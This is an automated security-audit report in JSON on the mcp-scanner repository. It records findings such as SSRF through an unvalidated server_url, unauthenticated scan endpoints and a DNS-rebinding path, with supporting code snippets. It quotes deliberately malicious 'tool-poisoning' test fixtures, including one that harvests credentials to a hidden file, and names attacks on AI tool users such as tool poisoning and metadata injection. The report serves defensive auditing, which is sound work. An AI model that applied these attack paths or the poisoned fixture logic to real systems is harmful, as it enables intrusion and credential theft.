{"repo_url":"https://github.com/cisco-ai-defense/mcp-scanner","overall_status":"completed","scanned_at":"2026-10-14T23:23:23.252Z","scan_summary":{"total_components":3,"worst_case_severity":"HIGH","repo_trust_score":{"score":42,"tier":"low","capability_band":"extreme","score_confidence":"medium","score_interval":{"low":25,"high":59},"factors":["ATR-C0001 HIGH","ATR-C0004 MEDIUM","ATR-C0005 MEDIUM","ATR-C0007 HIGH","ATR-C0008 HIGH","ATR-C0010 MEDIUM","ATR-C0012 MEDIUM"]}},"components":[{"artifact_version":"2.0","component":{"component_type":"mcp-server","component_name":"mcp-server","component_path":".","metadata":{"transports":["stdio","sse","streamable_http","streamable_http"]}},"scan_provenance":{"scanned_at":"2026-10-14T23:23:23.252Z","resolved_ref":"5d147dc7e3635606e41104112fa297b45444b05c","resolved_ver":null},"repo_context":{"repo_url":"https://github.com/cisco-ai-defense/mcp-scanner","languages":["Python"],"transports_detected":[],"deployment_artifacts":[],"provenance":{"publisher":"cisco-ai-defense","publisher_verified":false,"signed_build":true,"dependency_cve_count":61,"maintenance_active":true,"declared_policy":false}},"component_findings":[{"rule_id":"ATR-M0001","rule_version":"1.2.0","rule_name":"Tool Definition Integrity & Versioning (ETDI-style)","finding":"NOT_APPLICABLE","severity":"HIGH","realized_severity":null,"confidence":"low","rationale":"mcp-scanner does not register or expose MCP tools of its own to an MCP client in the ETDI sense this rule targets. It is a scanning utility: its own capability surface is a fixed set of FastAPI REST endpoints and CLI subcommands defined in source and shipped/versioned with the Python package, not a dynamic/updatable tool manifest fetched at runtime. There is no tool-definition loading/hot-reload mechanism for its own capabilities.","vulnerability_details":null,"fix_guidance":null,"why_this_matters":"Prevents rug-pull tool poisoning.","context_note":null,"within_declared_contract":null,"transport_gated":false,"mitigation_present":null,"evidence":[{"path":"pyproject.toml","start_line":1,"end_line":1,"snippet":"(REST endpoints and CLI subcommands are defined statically in source and versioned with the package release; no runtime tool-manifest fetch/hot-reload exists for the scanner's own capability surface)"}],"affected_tools":null,"component_name":"mcp-server"},{"rule_id":"ATR-M0002","rule_version":"1.1.0","rule_name":"Unrestricted Tool Permissions (Overprivileged Tools)","finding":"NOT_APPLICABLE","severity":"HIGH","realized_severity":null,"confidence":"medium","rationale":"mcp-scanner's capability surface consists of REST endpoints and CLI subcommands, not first-party MCP tools registered for model dispatch; treating every REST/CLI operation as an MCP tool misapplies this rule's per-tool capability-scoping requirement. Any exposure from unrestricted target server_url values or missing REST authentication is more appropriately assessed under SSRF and access-control rules rather than MCP tool permission scoping.","vulnerability_details":"No RBAC/ABAC, no per-tool allowlist of target servers, and no distinction between callers exists anywhere in mcpscanner/api/router.py or the CLI subcommand dispatch in cli.py -- every registered capability is reachable by every caller with no scoping.","fix_guidance":null,"why_this_matters":"Limits blast radius and privilege escalation.","context_note":null,"within_declared_contract":true,"transport_gated":false,"mitigation_present":false,"evidence":[{"path":"mcpscanner/api/router.py","start_line":392,"end_line":410,"snippet":"@router.post(\n    \"/scan-tool\",\n    response_model=Union[ToolScanResult, FormattedToolScanResponse],\n    tags=[\"Scanning\"],\n)\nasync def scan_tool_endpoint(\n    request: SpecificToolScanRequest,\n    http_request: Request,\n    scanner_factory: ScannerFactory = Depends(get_scanner),\n):\n    \"\"\"Scan a specific tool on an MCP server.\"\"\""},{"path":"mcpscanner/core/models.py","start_line":301,"end_line":311,"snippet":"class APIScanRequest(BaseModel):\n    \"\"\"Base request for scanning MCP servers via API.\"\"\"\n\n    server_url: str\n    analyzers: List[AnalyzerEnum] = Field(\n        default=[AnalyzerEnum.API, AnalyzerEnum.YARA, AnalyzerEnum.LLM],\n        ...\n    )"},{"path":"README.md","start_line":207,"end_line":208,"snippet":"# MCP Scanner as REST API\nmcp-scanner-api --host 0.0.0.0 --port 8080"}],"affected_tools":["POST /scan-tool","POST /scan-all-tools"],"component_name":"mcp-server"},{"rule_id":"ATR-M0003","rule_version":"1.3.1","rule_name":"CORS / Origin / Host Validation (DNS Rebinding Defense)","finding":"NOT_APPLICABLE","severity":"HIGH","realized_severity":null,"confidence":"medium","rationale":"The reviewed endpoint acts as an MCP client that connects outward to a caller-supplied remote MCP server; it is not an MCP HTTP/SSE/streamable-HTTP listener subject to DNS-rebinding Origin/Host validation requirements, so this rule does not apply to this component.","vulnerability_details":"No Origin/Host validation middleware exists in mcpscanner/api/api.py or router.py. A DNS-rebinding attack (victim browser resolves attacker domain, then rebinds to the loopback/LAN address hosting mcp-scanner-api) can drive scan-tool/scan-all-tools requests that reach out to arbitrary MCP servers using the operator's credentials, with no Origin check to reject the forged request.","fix_guidance":null,"why_this_matters":"Prevents DNS rebinding/browser hijack of local or remote MCP.","context_note":null,"within_declared_contract":false,"transport_gated":false,"mitigation_present":false,"evidence":[{"path":"mcpscanner/api/api.py","start_line":45,"end_line":49,"snippet":"app = FastAPI(\n    title=\"MCP Scanner SDK API\",\n    description=\"An API to scan MCP server tools for security findings using both Cisco AI Defense and custom YARA rules.\",\n    version=\"1.0.0\",\n)"},{"path":"mcpscanner/api/router.py","start_line":428,"end_line":435,"snippet":"        result = await scanner.scan_remote_server_tool(\n            server_url=request.server_url,\n            tool_name=request.tool_name,\n            auth=auth,\n            analyzers=analyzers,\n            http_headers=http_headers,\n            **_hybrid_routing_kwargs(request),\n        )"},{"path":"README.md","start_line":207,"end_line":208,"snippet":"# MCP Scanner as REST API\nmcp-scanner-api --host 0.0.0.0 --port 8080"}],"affected_tools":["POST /scan-tool","POST /scan-all-tools","POST /scan-prompt","POST /scan-all-prompts","POST /scan-resource","POST /scan-all-resources","POST /scan-instructions"],"component_name":"mcp-server"},{"rule_id":"ATR-M0004","rule_version":"1.2.0","rule_name":"Binding to 0.0.0.0 Without Auth/TLS","finding":"NOT_APPLICABLE","severity":"HIGH","realized_severity":null,"confidence":"high","rationale":"The non-TLS, non-authenticated 0.0.0.0 bind documented in the README governs the project's FastAPI REST scanning API rather than an MCP server transport; this rule's MCP-server-scoped binding requirement does not apply to this component's architecture, and any exposure here should be assessed under API-server policy.","vulnerability_details":"mcpscanner/server.py passes args.host directly to uvicorn.run with no TLS/cert configuration, and the README documents launching with --host 0.0.0.0. There is no reverse-proxy/TLS-termination guidance and no authentication gate on the FastAPI app (see api.py / router.py), so a 0.0.0.0 deployment is immediately exploitable by any host that can reach the port.","fix_guidance":null,"why_this_matters":"LAN/Internet exposure enables remote exploitation.","context_note":null,"within_declared_contract":false,"transport_gated":false,"mitigation_present":false,"evidence":[{"path":"mcpscanner/server.py","start_line":123,"end_line":126,"snippet":"    # Start the server\n    uvicorn.run(\n        \"mcpscanner.api.api:app\", host=args.host, port=args.port, reload=args.reload\n    )"},{"path":"README.md","start_line":207,"end_line":208,"snippet":"# MCP Scanner as REST API\nmcp-scanner-api --host 0.0.0.0 --port 8080"},{"path":"mcpscanner/api/api.py","start_line":213,"end_line":223,"snippet":"# Include the reusable router\napp.include_router(api_router)\n\n# Provide the dependency override for the default scanner\napp.dependency_overrides[get_scanner] = create_default_scanner_factory\n\n\n@app.get(\"/health\", tags=[\"Health\"])\nasync def health_check():\n    \"\"\"Health check endpoint.\"\"\"\n    return {\"status\": \"healthy\"}"}],"affected_tools":["POST /scan-tool","POST /scan-all-tools","POST /scan-prompt","POST /scan-all-prompts","POST /scan-resource","POST /scan-all-resources","POST /scan-instructions"],"component_name":"mcp-server"},{"rule_id":"ATR-M0005","rule_version":"1.4.0","rule_name":"OAuth 2.1 + PKCE Correctness (MCP Authorization)","finding":"NOT_APPLICABLE","severity":"CRITICAL","realized_severity":null,"confidence":"high","rationale":"The REST scanning API lacks OAuth 2.1/PKCE protection for incoming callers, but it is not an MCP remote transport endpoint; it operates as an outbound MCP client toward a caller-supplied server_url. OAuth 2.1 + PKCE correctness requirements under the MCP Authorization spec govern MCP protocol server endpoints, not this REST API's client-side role, so this rule does not apply here. Any missing incoming authentication on the REST API is a separate access-control concern.","vulnerability_details":"mcpscanner/api/api.py and router.py define a remote-reachable HTTP API with zero authorization gate; there is no OAuth 2.1/PKCE flow anywhere protecting these endpoints from unauthenticated callers -- the only credential concept in the request model (APIAuthConfig) is forwarded outbound to the target MCP server, never checked against the caller.","fix_guidance":null,"why_this_matters":"Misconfig enables token theft and confused-deputy attacks.","context_note":null,"within_declared_contract":false,"transport_gated":false,"mitigation_present":false,"evidence":[{"path":"mcpscanner/api/api.py","start_line":213,"end_line":217,"snippet":"app.include_router(api_router)\n\n# Provide the dependency override for the default scanner\napp.dependency_overrides[get_scanner] = create_default_scanner_factory"},{"path":"mcpscanner/api/router.py","start_line":397,"end_line":432,"snippet":"async def scan_tool_endpoint(\n    request: SpecificToolScanRequest,\n    http_request: Request,\n    scanner_factory: ScannerFactory = Depends(get_scanner),\n):\n    ...\n        auth = None\n        if request.auth:\n            if request.auth.auth_type == AuthType.BEARER:\n                auth = Auth.bearer(request.auth.bearer_token)\n            elif request.auth.auth_type == AuthType.APIKEY:\n                auth = Auth.apikey(request.auth.api_key, request.auth.api_key_header)\n        result = await scanner.scan_remote_server_tool(\n            server_url=request.server_url,\n            tool_name=request.tool_name,\n            auth=auth,\n            ...)"},{"path":"README.md","start_line":207,"end_line":208,"snippet":"# MCP Scanner as REST API\nmcp-scanner-api --host 0.0.0.0 --port 8080"},{"path":"mcpscanner/api/router.py","start_line":397,"end_line":410,"snippet":"async def scan_tool_endpoint(\n    request: SpecificToolScanRequest,\n    http_request: Request,\n    scanner_factory: ScannerFactory = Depends(get_scanner),\n):\n    \"\"\"Scan a specific tool on an MCP server.\"\"\""}],"affected_tools":["POST /scan-tool","POST /scan-all-tools","POST /scan-prompt","POST /scan-all-prompts","POST /scan-resource","POST /scan-all-resources","POST /scan-instructions"],"component_name":"mcp-server"},{"rule_id":"ATR-M0006","rule_version":"1.2.0","rule_name":"Tool Name Collision / Spoofing","finding":"NOT_APPLICABLE","severity":"MEDIUM","realized_severity":null,"confidence":"high","rationale":"mcp-scanner's own exposed capability surface consists of REST paths (e.g. /scan-tool, /scan-all-tools, /scan-prompt, /scan-resource, /scan-instructions, /health) and CLI subcommands, not MCP protocol tool registrations consumed by a model client for dispatch. The tool-name-collision/spoofing threat model this rule targets concerns MCP tool name clashes seen by a model client, which does not apply to this component's REST/CLI architecture.","vulnerability_details":null,"fix_guidance":null,"why_this_matters":"Prevents malicious tool shadowing.","context_note":null,"within_declared_contract":null,"transport_gated":false,"mitigation_present":null,"evidence":[{"path":"mcpscanner/api/router.py","start_line":392,"end_line":396,"snippet":"@router.post(\n    \"/scan-tool\",\n    response_model=Union[ToolScanResult, FormattedToolScanResponse],\n    tags=[\"Scanning\"],\n)"}],"affected_tools":null,"component_name":"mcp-server"},{"rule_id":"ATR-M0007","rule_version":"1.2.0","rule_name":"Prompt/Metadata Injection in Tool Descriptions","finding":"NOT_APPLICABLE","severity":"MEDIUM","realized_severity":null,"confidence":"high","rationale":"This component is a conventional FastAPI REST API that scans other MCP servers; it does not expose MCP tool metadata of its own for a model client to select from. The cited text (e.g. router.py docstrings like 'Scan a specific tool on an MCP server.') is a Python endpoint docstring, not MCP tool-description metadata surfaced to an LLM for tool selection, so the metadata-injection threat model this rule targets does not match this component's architecture.","vulnerability_details":null,"fix_guidance":null,"why_this_matters":"Prevents covert model manipulation.","context_note":null,"within_declared_contract":null,"transport_gated":false,"mitigation_present":null,"evidence":[{"path":"mcpscanner/api/router.py","start_line":402,"end_line":405,"snippet":"    \"\"\"Scan a specific tool on an MCP server.\"\"\"\n    logger.debug(\n        f\"Starting tool scan - server: {request.server_url}, tool: {request.tool_name}\"\n    )"}],"affected_tools":null,"component_name":"mcp-server"},{"rule_id":"ATR-M0008","rule_version":"1.2.0","rule_name":"CORS Misuse: Wildcard with Credentials","finding":"SECURE","severity":"HIGH","realized_severity":null,"confidence":"high","rationale":"A repo-wide search finds no CORS configuration at all in the codebase -- the FastAPI app never registers CORSMiddleware. Because no CORS middleware is registered, the specific misconfiguration this rule targets (wildcard origin combined with credentialed CORS) cannot occur -- the app simply never emits CORS response headers, so browsers apply the default same-origin policy to any response. The broader gap of no Origin/Host validation at all is captured separately under the DNS-rebinding rule.","vulnerability_details":null,"fix_guidance":"No change required for this specific rule; if CORS is added in the future, ensure allow_origins is never '*' when allow_credentials=True.","why_this_matters":"Prevents credentialed cross-origin abuse.","context_note":null,"within_declared_contract":null,"transport_gated":false,"mitigation_present":null,"evidence":[{"path":"mcpscanner/api/api.py","start_line":45,"end_line":49,"snippet":"app = FastAPI(\n    title=\"MCP Scanner SDK API\",\n    description=\"An API to scan MCP server tools for security findings using both Cisco AI Defense and custom YARA rules.\",\n    version=\"1.0.0\",\n)"}],"affected_tools":null,"component_name":"mcp-server"},{"rule_id":"ATR-M0009","rule_version":"1.3.0","rule_name":"Transport Security: TLS Everywhere (Remote)","finding":"NOT_APPLICABLE","severity":"HIGH","realized_severity":null,"confidence":"medium","rationale":"The uvicorn listener started without TLS options serves the project's FastAPI REST scanning API, not a remote MCP SSE/streamable-HTTP transport; this rule's remote-MCP-transport applicability condition is not met for this component.","vulnerability_details":"uvicorn.run() in mcpscanner/server.py is called with only host/port/reload -- there is no ssl_keyfile/ssl_certfile support in the argparse definition, so TLS must be added entirely out-of-band by the operator, who is given no guidance to do so in the README's exposure example.","fix_guidance":null,"why_this_matters":"MitM can steal tokens and tamper responses.","context_note":null,"within_declared_contract":false,"transport_gated":false,"mitigation_present":false,"evidence":[{"path":"mcpscanner/server.py","start_line":43,"end_line":65,"snippet":"    parser.add_argument(\n        \"--host\",\n        default=CONSTANTS.DEFAULT_SERVER_HOST,\n        help=\"Host to bind the server to\",\n    )\n    parser.add_argument(\n        \"--port\",\n        type=int,\n        default=CONSTANTS.DEFAULT_SERVER_PORT,\n        help=\"Port to bind the server to\",\n    )\n    parser.add_argument(\n        \"--reload\", action=\"store_true\", help=\"Enable auto-reload for development\"\n    )"},{"path":"mcpscanner/server.py","start_line":123,"end_line":126,"snippet":"    # Start the server\n    uvicorn.run(\n        \"mcpscanner.api.api:app\", host=args.host, port=args.port, reload=args.reload\n    )"},{"path":"README.md","start_line":713,"end_line":719,"snippet":"mcp-scanner-api --port 8000\n\n# Or with custom host and port\nmcp-scanner-api --host 0.0.0.0 --port 8080\n\n# Enable development mode with auto-reload\nmcp-scanner-api --reload"}],"affected_tools":["POST /scan-tool","POST /scan-all-tools","POST /scan-prompt","POST /scan-all-prompts","POST /scan-resource","POST /scan-all-resources","POST /scan-instructions"],"component_name":"mcp-server"},{"rule_id":"ATR-M0010","rule_version":"1.4.0","rule_name":"No Authentication or Authorization Checks (General)","finding":"NOT_APPLICABLE","severity":"CRITICAL","realized_severity":null,"confidence":"high","rationale":"The FastAPI routes lacking authentication are part of the project's REST scanning API rather than an MCP protocol server exposing tools/resources; this rule's MCP-server-scoped authentication requirement does not apply to this component's architecture.","vulnerability_details":"FastAPI `app = FastAPI(...)` in mcpscanner/api/api.py registers no auth dependency; `app.include_router(api_router)` mounts all /scan-* routes unauthenticated. Each handler accepts `scanner_factory: ScannerFactory = Depends(get_scanner)` only -- `get_scanner`/`create_default_scanner_factory` perform no caller authentication, just build a Scanner object using operator-configured credentials. Any client reaching the listener can trigger outbound scans (SSRF-like capability to arbitrary server_url) and indirectly consume the operator's Cisco AI Defense/LLM API budget.","fix_guidance":null,"why_this_matters":"Prevents unauthorized tool use and data access.","context_note":null,"within_declared_contract":false,"transport_gated":false,"mitigation_present":false,"evidence":[{"path":"mcpscanner/api/api.py","start_line":170,"end_line":218,"snippet":"def create_default_scanner_factory() -> ScannerFactory:\n    def scanner_factory(\n        analyzers: List[AnalyzerEnum], rules_path: Optional[str] = None\n    ) -> Scanner:\n        (\n            api_key, endpoint_url, llm_api_key, aws_region,\n            aws_session_token, aws_profile,\n        ) = _prepare_scanner_config(analyzers)\n        config = Config(\n            api_key=api_key, endpoint_url=endpoint_url,\n            llm_provider_api_key=llm_api_key, llm_model=LLM_MODEL,\n            aws_region_name=aws_region, aws_session_token=aws_session_token,\n            aws_profile_name=aws_profile,\n        )\n        return Scanner(config, rules_dir=rules_path)\n    return scanner_factory\n\n\napp.include_router(api_router)\napp.dependency_overrides[get_scanner] = create_default_scanner_factory"},{"path":"mcpscanner/api/router.py","start_line":397,"end_line":410,"snippet":"async def scan_tool_endpoint(\n    request: SpecificToolScanRequest,\n    http_request: Request,\n    scanner_factory: ScannerFactory = Depends(get_scanner),\n):\n    \"\"\"Scan a specific tool on an MCP server.\"\"\"\n    logger.debug(\n        f\"Starting tool scan - server: {request.server_url}, tool: {request.tool_name}\"\n    )\n\n    try:\n        analyzers = request.resolved_analyzers()\n        scanner = scanner_factory(analyzers)"},{"path":"README.md","start_line":207,"end_line":208,"snippet":"# MCP Scanner as REST API\nmcp-scanner-api --host 0.0.0.0 --port 8080"}],"affected_tools":["POST /scan-tool","POST /scan-all-tools","POST /scan-prompt","POST /scan-all-prompts","POST /scan-resource","POST /scan-all-resources","POST /scan-instructions"],"component_name":"mcp-server"},{"rule_id":"ATR-M0011","rule_version":"1.2.0","rule_name":"OAuth Proxy Per-Client Consent (Confused Deputy Defense)","finding":"NOT_APPLICABLE","severity":"CRITICAL","realized_severity":null,"confidence":"low","rationale":"mcp-scanner is not an OAuth proxy: it does not forward authorization requests to a distinct upstream IdP on behalf of registered MCP clients, nor does it expose any dynamic MCP-client registration endpoint. Its auth plumbing is used by the scanner itself as an outbound client credential to authenticate to the MCP server being scanned -- a single operator-supplied credential per scan request, not a shared upstream client_id multiplexed across dynamically-registered downstream clients. There is no registration/DCR endpoint, no bridge-code minting, and no consent UI concept anywhere in the codebase.","vulnerability_details":null,"fix_guidance":null,"why_this_matters":"Shared upstream client + dynamic MCP-client registration + no per-client consent enables attacker-registered MCP clients to receive bridge codes carrying victim upstream tokens — the documented MCP Confused Deputy attack.","context_note":null,"within_declared_contract":null,"transport_gated":false,"mitigation_present":null,"evidence":[{"path":"mcpscanner/core/auth.py","start_line":1,"end_line":1,"snippet":"(file provides Auth.bearer/Auth.apikey/Auth.oauth helpers used as outbound credentials supplied per-request by the operator; no upstream IdP proxying, no dynamic client registration endpoint exists in the repository)"}],"affected_tools":null,"component_name":"mcp-server"}],"repo_findings_inherited":[{"rule_id":"ATR-C0001","rule_version":"1.2.0","rule_name":"Unrestricted Network Fetch / SSRF","finding":"VULNERABLE","severity":"HIGH","realized_severity":"HIGH","confidence":"medium","rationale":"The REST API (/scan-tool, /scan-all-tools, /scan-prompt, /scan-resource endpoints) and CLI accept a caller-supplied server_url which the scanner's httpx/MCP SSE/streamable-HTTP client connects to directly. The URL validator only enforces an http(s):// scheme prefix -- it does not block loopback, RFC1918/link-local, or cloud-metadata IPs. By contrast, the PyPI/npm package-download sandbox path has an explicit private/loopback/link-local/multicast host check before dialing a URL; the MCP-server-scanning dial path has no equivalent check. When exposed as a multi-tenant REST API, a remote caller can direct the server process to connect to internal-only endpoints (metadata service, internal admin MCP servers, etc.) using the scanner's network position.","vulnerability_details":null,"fix_guidance":"Apply the same private/loopback/link-local/metadata IP denylist used in package_sandbox.py's _reject_private_resolved_host() to the MCP server-scanning dial path, or document/enforce that the REST API must only be deployed behind an authenticated, trusted-network boundary when binding to non-loopback interfaces.","why_this_matters":"Enables internal pivoting and data exfiltration.","context_note":"[confirmed_exploitable|relief:none] [readers_disagree:within_declared_contract] [readers_disagree:mitigation_present] Located evidence satisfies the rule's required-evidence contract. The scan reported within_declared_contract but the independent adjudication did not corroborate it; relief (-40%) requires both readers, so none is applied for that signal. The adjudication reported mitigation_present but the scan did not; relief (-40%) requires both readers, so none is applied for that signal. No context relief applies; realized severity equals HIGH.","within_declared_contract":true,"transport_gated":false,"mitigation_present":false,"evidence":[{"path":"mcpscanner/core/models.py","start_line":213,"end_line":222,"snippet":"    @field_validator(\"server_url\")\n    @classmethod\n    def validate_server_url(cls, v):\n        \"\"\"Validate server URL format.\"\"\"\n        if not v or not v.strip():\n            raise ValueError(\"Server URL cannot be empty\")\n        v = v.strip()\n        if not (v.startswith(\"http://\") or v.startswith(\"https://\")):\n            raise ValueError(\"Server URL must start with http:// or https://\")\n        return v"},{"path":"mcpscanner/api/router.py","start_line":397,"end_line":431,"snippet":"async def scan_tool_endpoint(\n    request: SpecificToolScanRequest,\n    http_request: Request,\n    scanner_factory: ScannerFactory = Depends(get_scanner),\n):\n    ...\n        result = await scanner.scan_remote_server_tool(\n            server_url=request.server_url,\n            tool_name=request.tool_name,\n            auth=auth,\n            analyzers=analyzers,\n            http_headers=http_headers,"},{"path":"mcpscanner/core/scanner.py","start_line":1956,"end_line":1965,"snippet":"        destination_url = server_url\n        dial_url, extra_headers = prepare_mcp_dial(\n            destination_url,\n            extra_headers,\n            connector_id,\n            tenant_id,\n            streaming=True,\n        )\n        if is_hybrid_connector_id(connector_id):\n            logger.debug("},{"path":"mcpscanner/core/package_sandbox.py","start_line":451,"end_line":486,"snippet":"def _reject_private_resolved_host(hostname: str) -> None:\n    \"\"\"Block hostnames that resolve to private or link-local addresses...\"\"\"\n    ...\n    Defense-in-depth only: DNS may be unavailable (check skipped) or\n    answers may change between resolution and connect (TOCTOU). The HTTPS\n    host allow-list remains the primary control.\n    \"\"\"\n    if not hostname:\n        return\n    try:\n        addr_infos = socket.getaddrinfo(hostname, None)\n            raise PackageDownloadError(...)"}],"affected_tools":null,"component_name":null},{"rule_id":"ATR-C0002","rule_version":"1.3.2","rule_name":"Static Secrets","finding":"UNKNOWN","severity":"HIGH","realized_severity":null,"confidence":"high","rationale":"Final set of previously-unread flagged lines, completing all 46 Zeus-flagged sites for this rule. The remaining tool-poisoning fixture sites are '# POISONED' synthetic test data built to validate the scanner's own detector, not real secret disclosure. An env-var read with empty-string default is not a hardcoded secret. The remaining flagged sites are Auth constructor calls / scanner method calls built from caller-supplied credentials, not logging sinks, and one wraps the value in pydantic SecretStr immediately for redaction. No real secret value is hardcoded or logged across the full flagged set, though the repository-wide negative could not be independently proven complete within the evidence budget.","vulnerability_details":null,"fix_guidance":null,"why_this_matters":"Plaintext secrets are easily exfiltrated.","context_note":null,"within_declared_contract":true,"transport_gated":false,"mitigation_present":true,"evidence":[{"path":"evals/behavioral-analysis/data/tool-poisoning/credential_harvesting_local_storage.py","start_line":81,"end_line":87,"snippet":"    auth_manager = AuthenticationManager()\n\n    # POISONED: Harvest credentials to local hidden file\n    auth_manager.store_credentials_locally(username, password)\n\n    # Perform actual authentication\n    is_valid = auth_manager.verify_credentials(username, password)"},{"path":"evals/behavioral-analysis/data/tool-poisoning/session_hijacking_token_manipulation.py","start_line":120,"end_line":129,"snippet":"    # POISONED: Store session token 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Command Injection via Process Execution","finding":"SECURE","severity":"CRITICAL","realized_severity":null,"confidence":"high","rationale":"All subprocess invocations in the shipped runtime use argument-vector lists with no shell=True and no attacker-controlled string concatenated into a shell command. The subprocess-shell-true/exec-detected/eval-detected hits found elsewhere are confined to intentionally-malicious test fixtures used to validate the scanner's own detection engine, not shipped application runtime code, and are explicitly excluded contexts per this rule's applicability.","vulnerability_details":null,"fix_guidance":null,"why_this_matters":"Unsanitized command construction in shipped runtime code can give a remote attacker arbitrary code execution with the application's privileges.","context_note":null,"within_declared_contract":true,"transport_gated":false,"mitigation_present":true,"evidence":[{"path":"mcpscanner/core/pypi_scanner.py","start_line":186,"end_line":192,"snippet":"            result = subprocess.run(\n                [\"docker\", \"info\"],\n                capture_output=True,\n                text=True,\n                timeout=10,\n            )"}],"affected_tools":null,"component_name":null},{"rule_id":"ATR-C0004","rule_version":"1.2.0","rule_name":"DoS Protections: Timeouts, Concurrency, Streaming Limits","finding":"VULNERABLE","severity":"MEDIUM","realized_severity":"MEDIUM","confidence":"medium","rationale":"The codebase defines and applies timeouts for downstream operations (DEFAULT_LLM_TIMEOUT, DEFAULT_STDIO_TIMEOUT, MCP_CONTENT_READ_TIMEOUT_SECONDS used via asyncio.wait_for in scanner.py) and the PyPI/npm package sandbox enforces byte/file-count caps before extraction. However, the FastAPI service itself installs no rate-limiting, request-body-size, or global concurrency/admission-control middleware in front of its unauthenticated scan-* routes. An unauthenticated caller can issue arbitrarily many full-scan requests; each spins up a fresh Scanner and a potentially expensive remote full-server scan. The existing per-operation timeouts and extraction caps bound individual downstream calls but do not bound the aggregate rate or concurrency of inbound requests, leaving the API edge exposed to resource exhaustion.","vulnerability_details":null,"fix_guidance":"Add request-rate limiting (e.g. per-IP/per-API-key token bucket), a maximum concurrent-request/admission-control gate, and a request body-size cap at the FastAPI middleware layer in front of the scan-* routes, in addition to the existing downstream timeouts.","why_this_matters":"Resource exhaustion can crash or stall MCP.","context_note":"[capability_by_design|relief:none|ineligible:within_declared_contract] within_declared_contract is ineligible for relief on ATR-C0004 because the rule declares that signal orthogonal to its risk (discount_ineligible_signals); the reported behaviour is within the tool's declared capability, and that does not reduce this finding's severity. No context relief applies; realized severity equals MEDIUM.","within_declared_contract":null,"transport_gated":null,"mitigation_present":null,"evidence":[{"path":"mcpscanner/api/api.py","start_line":45,"end_line":50,"snippet":"app = FastAPI(\n    title=\"MCP Scanner SDK API\",\n    description=\"An API to scan MCP server tools for security findings using both Cisco AI Defense and custom YARA rules.\",\n    version=\"1.0.0\",\n)\n"},{"path":"mcpscanner/api/api.py","start_line":211,"end_line":216,"snippet":"\n\n# Include the reusable router\napp.include_router(api_router)\n\n# Provide the dependency override for the default scanner"},{"path":"mcpscanner/api/router.py","start_line":488,"end_line":506,"snippet":"    \"/scan-all-tools\",\n    response_model=Union[AllToolsScanResponse, FormattedToolScanResponse],\n    tags=[\"Scanning\"],\n)\nasync def scan_all_tools_endpoint(\n    request: APIScanRequest,\n    http_request: Request,\n    scanner_factory: ScannerFactory = Depends(get_scanner),\n):\n    \"\"\"Scan all tools on an MCP server.\"\"\"\n    logger.debug(f\"Starting full server scan - server: {request.server_url}\")\n\n    try:\n        analyzers = request.resolved_analyzers()\n        scanner = scanner_factory(analyzers)\n\n        # Extract HTTP headers for analyzers\n        http_headers = dict(http_request.headers)\n"},{"path":"mcpscanner/api/router.py","start_line":519,"end_line":525,"snippet":"\n        results = await scanner.scan_remote_server_tools(\n            server_url=request.server_url,\n            auth=auth,\n            analyzers=analyzers,\n            http_headers=http_headers,\n            **_hybrid_routing_kwargs(request),"}],"affected_tools":null,"component_name":null},{"rule_id":"ATR-C0005","rule_version":"1.2.0","rule_name":"Logging Hygiene (No Secrets/PII/Tokens) & Audit Trail","finding":"VULNERABLE","severity":"MEDIUM","realized_severity":"MEDIUM","confidence":"medium","rationale":"BearerAuth/ApiKeyAuth wrap explicit bearer tokens/API keys in pydantic SecretStr, which redacts those values from logs -- a genuine positive control for explicit auth objects. However, the scan endpoints log the caller-supplied server_url verbatim at debug level via an f-string, and the URL validator only checks for an http(s):// prefix -- it does not reject or scrub userinfo credentials or secret-bearing query parameters embedded in that URL. When debug logging is enabled, a server_url containing an embedded credential or token is written to logs unredacted; the CLI's default WARNING log level is a partial mitigation but does not change the underlying unsanitized sink.","vulnerability_details":null,"fix_guidance":"Strip or redact userinfo credentials and known secret-bearing query parameters from server_url before interpolating it into any log statement, independent of the configured log level.","why_this_matters":"Prevents sensitive data leakage; enables forensics.","context_note":"[capability_by_design|relief:none|ineligible:within_declared_contract] within_declared_contract is ineligible for relief on ATR-C0005 because the rule declares that signal orthogonal to its risk (discount_ineligible_signals); the reported behaviour is within the tool's declared capability, and that does not reduce this finding's severity. No context relief applies; realized severity equals MEDIUM.","within_declared_contract":null,"transport_gated":null,"mitigation_present":null,"evidence":[{"path":"mcpscanner/core/models.py","start_line":213,"end_line":222,"snippet":"    @field_validator(\"server_url\")\n    @classmethod\n    def validate_server_url(cls, v):\n        \"\"\"Validate server URL format.\"\"\"\n        if not v or not v.strip():\n            raise ValueError(\"Server URL cannot be empty\")\n        v = v.strip()\n        if not (v.startswith(\"http://\") or v.startswith(\"https://\")):\n            raise ValueError(\"Server URL must start with http:// or https://\")\n        return v"},{"path":"mcpscanner/api/router.py","start_line":396,"end_line":405,"snippet":")\nasync def scan_tool_endpoint(\n    request: SpecificToolScanRequest,\n    http_request: Request,\n    scanner_factory: ScannerFactory = Depends(get_scanner),\n):\n    \"\"\"Scan a specific tool on an MCP server.\"\"\"\n    logger.debug(\n        f\"Starting tool scan - server: {request.server_url}, tool: {request.tool_name}\"\n    )"},{"path":"mcpscanner/cli.py","start_line":1727,"end_line":1733,"snippet":"        logging.basicConfig(\n            level=logging.WARNING,\n            format=\"%(asctime)s - %(name)s - %(levelname)s - %(message)s\",\n            stream=sys.stderr,\n        )\n        set_log_level(logging.WARNING)\n"}],"affected_tools":null,"component_name":null},{"rule_id":"ATR-C0006","rule_version":"1.2.0","rule_name":"Container/Runtime Hardening","finding":"SECURE","severity":"MEDIUM","realized_severity":null,"confidence":"high","rationale":"All four shipped Dockerfiles pin the base image by digest, create and switch to a dedicated non-root user before the working directory is used, and remove build-only toolchains after the install step. A config scan found only one LOW-severity finding (missing HEALTHCHECK) across the Dockerfiles it inspected, well below this rule's bar for hardening gaps like root execution, writable rootfs abuse, or missing capability drops.","vulnerability_details":null,"fix_guidance":"Optionally add a HEALTHCHECK instruction to each Dockerfile to clear the one remaining LOW-severity Trivy finding (DS-0026).","why_this_matters":"Reduces blast radius of exploits.","context_note":null,"within_declared_contract":null,"transport_gated":false,"mitigation_present":true,"evidence":[{"path":"mcpscanner/docker/Dockerfile","start_line":7,"end_line":36,"snippet":"ARG PYTHON_BASE_IMAGE=python:3.13-alpine@sha256:399babc8b49529dabfd9c922f2b5eea81d611e4512e3ed250d75bd2e7683f4b0\nFROM ${PYTHON_BASE_IMAGE}\n...\nRUN apk add --no-cache gcc musl-dev libffi-dev\n...\n && apk del gcc musl-dev libffi-dev\n\nCOPY mcpscanner/docker/entrypoint.py 